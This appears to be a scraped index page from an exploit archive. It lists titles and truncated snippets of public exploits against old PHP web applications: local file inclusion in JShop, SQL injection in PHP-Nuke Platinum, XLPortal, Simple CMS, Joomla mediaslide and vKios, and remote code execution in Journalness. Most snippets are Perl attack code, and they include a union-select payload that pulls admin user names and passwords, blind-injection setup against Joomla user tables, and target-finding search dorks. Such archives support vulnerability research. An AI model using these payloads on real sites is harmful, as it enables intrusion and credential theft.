jshop-lfi.txt

JShop 1.x-2.x local file include --------------------------------------------------------------------------------------------------------------------- + scripts: Jshop Server 1.x-2.x + + Discovered By : v0l4arrra + + url: www.jshop.co.uk + + dork: "powered by jshop" and also usefull one...

phpbbxsmod-lfi.txt

..%%%%....%%%%...%%..%%...........%%%%...%%%%%...%%%%%%..%%...%%. .%%......%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%...%%. ..%%%%...%%..%%..%%%%%%..%%%%%%..%%......%%%%%...%%%%....%%.%.%%. .....%%..%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%%%%%%...

PHP-Nuke Platinum 7.6.b.5 (dynamic_titles.php) SQL Injection Exploit

No description provided by source. !/usr/bin/perl Inphex use LWP::UserAgent; use LWP::Simple; use IO::Socket; use Switch; PHP-Nuke Platinum , ForumsStandart - magicquotesgpc = OFF , SQL Injection nukeusers Structure: userid name username useremail femail userwebsite useravatar userregdate usericq...

PHP-Nuke Platinum 7.6.b.5 - dynamic_titles.php SQL Injection

PHP-Nuke Platinum 7.6.b.5 - dynamictitles.php SQL Injection !/usr/bin/perl Inphex use LWP::UserAgent; use LWP::Simple; use IO::Socket; use Switch; PHP-Nuke Platinum , ForumsStandart - magicquotesgpc = OFF , SQL Injection nukeusers Structure: userid name username useremail femail userwebsite...

PHP-Nuke Platinum 7.6.b.5 - 'dynamic_titles.php' SQL Injection

!/usr/bin/perl Inphex use LWP::UserAgent; use LWP::Simple; use IO::Socket; use Switch; PHP-Nuke Platinum , ForumsStandart - magicquotesgpc = OFF , SQL Injection nukeusers Structure: userid name username useremail femail userwebsite useravatar userregdate usericq userocc userfrom userinterests...

PHP-Nuke Platinum 7.6.b.5 (dynamic_titles.php) SQL Injection Exploit

Exploit for unknown platform in category web applications ==================================================================== PHP-Nuke Platinum 7.6.b.5 dynamictitles.php SQL Injection Exploit ==================================================================== !/usr/bin/perl Inphex use...

XLPortal 2.2.4 - 'Search' SQL Injection

!D:\Perl\Bin\Perl.exe use LWP::UserAgent; XLPortal \r\n"; default pref is xlp / xlportal exit; $head = new LWP::UserAgent; $head-agent"Opera/9.26 Windows NT 5.1; U; pl"; my $request = HTTP::Request-newPOST = $ARGV0."/index.php"; $buff =...

phpnukekutubisitte-sql.txt

!/usr/bin/perl use Getopt::Std; use LWP::UserAgent; sub usg printf" --------------------------- | PHP-NUKE KutubiSitte kid = SQL Injection | --------------------------- Bug by Lovebug Exploit-Code by r080cy90r from RBT-4 -------------- :::::::::::::::::::::::::::::...

PHP-Nuke KutubiSitte "kid" SQL Injection exploit code adding

!/usr/bin/perl use Getopt::Std; use LWP::UserAgent; sub usg printf" --------------------------- | PHP-NUKE KutubiSitte kid = SQL Injection | --------------------------- Bug by Lovebug Exploit-Code by r080cy90r from RBT-4 ----------------------------- :::::::::::::::::::::::::::::...

PHP-Nuke KutubiSitte Module - 'kid' SQL Injection

source: https://www.securityfocus.com/bid/28126/info The KutubiSitte module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the...

Simple CMS <= 1.0.3 (indexen.php area) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl Simple CMS = 1.0.3 ?area= Remote SQL Injection Exploit Code by JosS Contact: sys-projectathotmail.com Spanish Hackers Team / Sys - Project http://www.spanish-hackers.com special thanks to ka0x print " "; print " Simple CMS = 1.0.3 Remote SQL...

Simple CMS <= 1.0.3 (indexen.php area) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications =================================================================== Simple CMS new or die; my...

Simple CMS 1.0.3 - area SQL Injection

Simple CMS 1.0.3 - area SQL Injection !/usr/bin/perl Simple CMS new or die; my $go=$cnx-get$victim."/indexen.php?area=-1+union+select+1,concat0x5f5f5f5f,0x5b215d20757365723a20,UName,0x20205b215d20706173733a20,PWord,0x5f5f5f5f,3,4,5+from+cpanelauthors/"; if $go-content = m/.?/ms print "$1\n"; else...

Joomla! Component mediaslide - albumnum Blind SQL Injection

Joomla! Component mediaslide - albumnum Blind SQL Injection !/usr/bin/perl inphex joomla commediaslide blind sql injection use LWP::UserAgent; use LWP::Simple; use Switch; use Digest::MD5 qwmd5 md5hex md5base64; print "usage: $0 -h host.com -p /\n"; use Getopt::Long; $column = "username"; $table ...

joomlamedia-sql.txt

!/usr/bin/perl inphex joomla commediaslide blind sql injection use LWP::UserAgent; use LWP::Simple; use Switch; use Digest::MD5 qwmd5 md5hex md5base64; print "usage: $0 -h host.com -p /\n"; use Getopt::Long; $column = "username"; $table = "josusers"; $regex = "previewf2"; %cmn = "-h" = "host","-p...

Joomla! Component mediaslide - 'albumnum' Blind SQL Injection

!/usr/bin/perl inphex joomla commediaslide blind sql injection use LWP::UserAgent; use LWP::Simple; use Switch; use Digest::MD5 qwmd5 md5hex md5base64; print "usage: $0 -h host.com -p /\n"; use Getopt::Long; $column = "username"; $table = "josusers"; $regex = "previewf2"; %cmn = "-h" = "host","-p...

vkios-sql.txt

!/usr/bin/perl Indonesian Newhack Security Advisory ------------------------------------ vKios NTOS-Team-fl3xu5,k1tk4t,opt1lc use LWP::UserAgent; use Getopt::Long; if!$ARGV2 print "\n |-------------------------------------------------------|"; print "\n | Indonesian Newhack Technology |"; print "...

vKios 2.0.0 - cat SQL Injection

vKios 2.0.0 - cat SQL Injection !/usr/bin/perl Indonesian Newhack Security Advisory ------------------------------------ vKios NTOS-Team-fl3xu5,k1tk4t,opt1lc use LWP::UserAgent; use Getopt::Long; if!$ARGV2 print "\n |-------------------------------------------------------|"; print "\n | Indonesia...

vKios <= 2.0.0 (products.php cat) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================== vKios NTOS-Team-fl3xu5,k1tk4t,opt1lc use LWP::UserAgent; use Getopt::Long; if!$ARGV2 print "\n |-------------------------------------------------------|"; print "\n | Indonesia...

Journalness 4.1 - last_module Remote Code Execution

Journalness 4.1 - lastmodule Remote Code Execution !/usr/bin/perl Vendor url: journalness.sourceforge.net note: exploit requires Registerglobals = On in php.ini Iron http://www.randombase.com require LWP::UserAgent; print " Journalness ; if$target ! /^http:/// $target = "http://".$target;...